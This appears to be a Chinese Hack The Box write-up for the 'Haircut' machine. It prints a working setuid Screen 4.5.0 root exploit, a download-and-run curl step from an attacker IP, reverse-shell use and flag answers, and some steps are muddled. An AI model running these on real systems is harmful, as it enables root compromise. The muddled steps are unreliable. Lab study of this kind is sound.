[Meachines] [Medium] Haircut Curl命令注入+TRP00F自动化权限提升+Screen4.5.0权限提升
字数 999 2025-08-19 12:41:32
HTB Hairdresser 渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.24 --min-rate 1000 -sC -sV
扫描结果:
- 开放端口:
- 22/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
- 80/tcp: nginx 1.10.0 (Ubuntu)
SSH密钥指纹:
2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
1.2 目录爆破
使用Gobuster进行目录枚举:
gobuster dir --url http://10.10.10.24 --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -t 50
2. 初始访问 - CURL命令注入
2.1 漏洞利用
发现存在文件上传功能,利用CURL命令注入获取反向shell:
- 准备反向shell PHP文件(reverse.php)
- 上传文件:
curl http://10.10.10.24/uploads/rev.php
- 访问上传的文件触发反向shell
2.2 获取初始权限
成功获取shell后,查找user flag:
User.txt: 983f69a3c242dad8de31036c64b13fdf
3. 权限提升阶段
3.1 使用TRP00F自动化提权
TRP00F是一个自动化权限提升工具,使用方式:
python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10033 --pkhttpport 9090 --lxhttpport 9900
参数说明:
--lhost: 本地监听IP--lport: 本地监听端口--rhost: 目标主机IP--rport: 目标主机端口--pkhttpport: 用于PayloadKit的HTTP端口--lxhttpport: 用于Linux Exploit的HTTP端口
3.2 Screen 4.5.0本地提权
发现目标系统安装了Screen 4.5.0版本,存在已知提权漏洞。
3.2.1 漏洞原理
该漏洞利用setuid screen程序通过覆盖/etc/ld.so.preload文件加载恶意共享库,从而获取root权限。
3.2.2 漏洞利用步骤
- 准备exploit脚本(scr.sh):
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
# 创建恶意共享库
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
export PATH=/usr/bin:$PATH
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
# 创建rootshell
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
- 下载并执行exploit:
curl http://10.10.16.24/scr.sh -o /tmp/scr.sh; chmod +x /tmp/scr.sh
./scr.sh
- 成功获取root权限后,读取root flag:
Root.txt: 3ffde1490b04962112ab36628d2c4436
4. 关键点总结
- 信息收集:全面的端口扫描和目录枚举是渗透测试的基础
- 命令注入:利用CURL命令注入上传webshell是初始访问的关键
- 自动化工具:TRP00F可以自动化完成部分提权过程
- Screen漏洞:利用setuid程序和ld.so.preload机制是提权的核心
- 权限维持:创建具有SUID权限的rootshell是维持访问的有效方法
5. 防御建议
- 及时更新软件版本,修复已知漏洞
- 限制setuid程序的使用
- 对文件上传功能进行严格过滤
- 监控/etc/ld.so.preload文件的修改
- 使用最小权限原则运行服务